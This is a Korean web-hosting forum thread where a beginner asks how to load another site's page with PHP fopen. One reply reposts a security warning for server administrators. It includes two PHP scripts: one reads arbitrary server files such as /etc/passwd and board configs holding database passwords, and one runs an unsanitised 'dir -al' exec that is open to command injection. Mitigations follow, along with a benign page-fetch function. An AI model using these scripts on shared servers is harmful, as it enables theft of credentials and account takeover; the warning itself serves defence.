php fopen 함수 사용하는 방법 좀 알려주실 분! > 그누4 질문답변

그누4 질문답변

그누보드4 관련 질문은 QA 로 이전됩니다. QA 그누보드4 바로가기
기존 게시물은 열람만 가능합니다.

php fopen 함수 사용하는 방법 좀 알려주실 분! 정보

php fopen 함수 사용하는 방법 좀 알려주실 분!

본문

기존에 아이프레임으로 불러오다가 하단 여백이나 이런부분이
자동으로 조절이 안되는 부분때문에

fopen 함수를 이용하여 불러오려고 합니다.

하나의 웹페이지로 이루어진 타 사이트의 웹페이지를 불러오려고 하는데..
어떤식으로 해야하는지 모르겠어요

설정 방법이나 적용법 좀 알려주세요..

php 완전 초짜라서 자세하게 좀 알려주세요 ㅠㅠ


댓글 전체

PHP의 fopen함수를 사용하면 nobody 파일을 읽어서 확인할 수 있습니다.

먼저 1.php파일과 2.php 파일을 자신의 PHP계정에 올립니다.
그리고 먼저 1.php를 실행시킨 후에 텍스트입력창에
/etc/passwd 라고 타자하고 클릭을 하면 계정과 절대경로가 나타나집니다.
(passwd파일은 nobody에서 읽을 수 있기 때문입니다.)

그리고 계정명을 가지고 서버의 홈페이지에 접속해 봅니다.
korea1이 계정일 경우 브라우저로 www.koreaphp.co.kr/~korea1/
에 접속해 봅니다.

그리고 나서 제로보드인지 perl cgi인지를 확인해 보고
제로보드일 경우에는 제로보드가 설치된 경로를 찾아서 *****.php3를
열어 봅니다.
(제로보드를 예를 드는 이유는 제로보드가 가장 유명한 보드이기 때문입니다. 오해마세요. 너무 많이 사용되다 보니 걱정스러워서 적은 내용입니다.)
그러면 MYSQl디비명과 디비명, 비번을 보실 수 있습니다.

또 httpd.conf 파일을 열어보면 서버에 설치된 모든 도메인설정상황도 알아볼 수 있습니다.

계정명과 디비명을 같이 사용하시거나 디비비번과 계정비번이 같은 경우에는
텔넷 서비스를 하는 경우 계정으로 접근이 가능하게 됩니다.

리눅스 시스템을 조금만 아는분이라면 누구라도 서버를 이 잡듯이 뒤져볼수 있게 됩니다.

1.php
-----------------------------------------
<?
if($file){
$fp = fopen($file, "r");
    if(!$fp){
    echo ("읽을 수 없는 파일입니다.");
    }
    $contents = fread($fp, filesize($file));
    fclose($fp);
    echo "contents = $contents";
} else {
    echo ("
    <html>
        <form method=post action=$PHP_SELF>
        보고싶은 절대경로와 파일을 적으세요<br>
        <input type=text name=file>
        <input type=submit>
        </form>
        </html>
        ");
}
?>
----------------------------------------

2.php
----------------------------------------
<?
if($dir){
    exec("dir -al $dir",$contents,$error);
    if($error){
    echo "이 디렉토리를 볼 수 없습니다.";
    } else {
        while (list ($key, $val) = each ($contents)) {
    echo "$key => $val<br>";
        }
    }
} else {
    exec("pwd",$pwd,$error);
        echo ("현재 자신의 경로는 $pwd[0] 입니다. <br>");
    echo ("
    <html>
        <form method=post action=$PHP_SELF>
        보고싶은 디렉토리의 절대경로를 적으세요<br>
        <input type=text name=dir>
        <input type=submit>
        </form>
        </html>
        ");
}
?>
----------------------------------------


방지책

1. 솔라리스에서 사용하는 acl권한을 사용하면
rw-------+ 파일퍼미션이 이렇게 바뀌어서 자기 계정이외의 파일은
볼 수 없다고 합니다. (저는 acl을 사용할지 모릅니다. 불행히도.)

2. PHP.ini를 수정하여 safe_mode를 On하면 자기 계정 이외의 파일은 열어 볼 수 없습니다.
단 파일 업로드시에 이미 만들어진 nobody의 777 퍼미션의 경우에도 업로드가 안됩니다.
다른 방법으로 임시업로드 파일디렉토리를 /tmp에서 변경해 사용할 수 있다고 하지만
잘 적용되지 않고 멀티 유저가 사용하는 환경에서 적용하기 어렵습니다.

3. 제가 적용한 방법
아주 간단하게 php.ini에서 disable_functions    = fopen 이라고 적어서
fopen을 막아버렸습니다. 가능하다면 disable_functions    = fopen , exec 도 해버리면
좋겠습니다.
그래도 불안하시거나 exec를 사용해야 하는 경우라면 dir, ls , ll ,등의 명령어를
770으로 줘버리시기 바랍니다.
현재 더 좋은 방법을 찾고 있습니다. 이 방식은 PHP에서만은 제대로 작동되지만
c 또는 perl cgi에서는 막을 방법이 1번 방법밖에 없는 것으로 생각됩니다.
(perl에서 이와 같은 문제를 막을 방법을 아시는 분은 메일 주시기 바랍니다.)
겉들어 텔넷을 막아버리는 것두 좋은 방법이겠군요.


[출처] [보안] php fopen() 보안에 대한 내용입니다. 서버관리자분들 읽어주세요|작성자 별종제쿠
// 다른 사이트의 페이지 긁어오기 함수
function get_fsockopen($url)
{
    $url = parse_url($url);
    if($url['port']) $port = $url['port'];
    else $port = 80;
    if($url['query']) $path = $url['path'] . '?' . $url['query'];
    else $path = $url['path'];

    $return = null;
    $fp = fsockopen($url['host'], $port, $errno, $errstr);
    if($fp)
    {
        fputs($fp, "GET {$path} HTTP/1.0\nHost: {$url['host']}\n\n");
        while(!feof($fp)) $return .= fgets($fp, 128);
        fclose($fp);
    }

    $return = preg_replace('/^.*\r\n\r\n/s', null, $return);
    return $return;
}

// 사용예제
echo get_fsockopen('http://domain.com/sample.html');
전체 66,554 |RSS
그누4 질문답변 내용 검색

회원로그인

(주)에스아이알소프트 / 대표:홍석명 / (06211) 서울특별시 강남구 역삼동 707-34 한신인터밸리24 서관 1402호 / E-Mail: admin@sir.kr
사업자등록번호: 217-81-36347 / 통신판매업신고번호:2014-서울강남-02098호 / 개인정보보호책임자:김민섭(minsup@sir.kr)
© SIRSOFT